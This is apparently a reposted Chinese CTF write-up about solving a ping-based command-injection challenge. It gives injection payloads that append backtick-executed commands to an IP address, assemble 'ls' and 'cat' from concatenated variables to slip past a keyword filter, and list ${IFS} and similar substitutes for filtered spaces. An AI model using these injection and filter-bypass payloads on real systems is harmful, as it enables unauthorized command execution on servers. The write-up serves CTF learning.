首页 > 其他 > 详细

ctf-ping命令执行绕过

时间:2019-09-10 13:32:47      阅读:1504      评论:0      收藏:0      [点我收藏+]

题目连接:http://ctf.klmyssn.com/challenges#Ping

 

命令执行绕过,试了试过滤了一些:一些命令

但是反引号可以执行命令

技术分享图片

 

通过拼接,可以拼接出来:ls 命令

127.0.0.1;`a="l";b="s";c=$a$b;$c`

 

技术分享图片

 

可以发现 flag 就是下面那一串 flag_ 开头的字符串

 

在拼接命令来查看:

127.0.0.1;`a="ca";b="t${IFS}fla";c="g_ae8e4cd6ce3b5";d=$a$b$c;$d`

针对空格过滤,可以使用:

${IFS}

<  (也被过滤了)

$IFS

$IFS$9

来代替,但是考虑到在一串字符串中,所以使用 ${IFS} 来代替空格

技术分享图片

 

ctf-ping命令执行绕过

原文:https://www.cnblogs.com/-chenxs/p/11495607.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!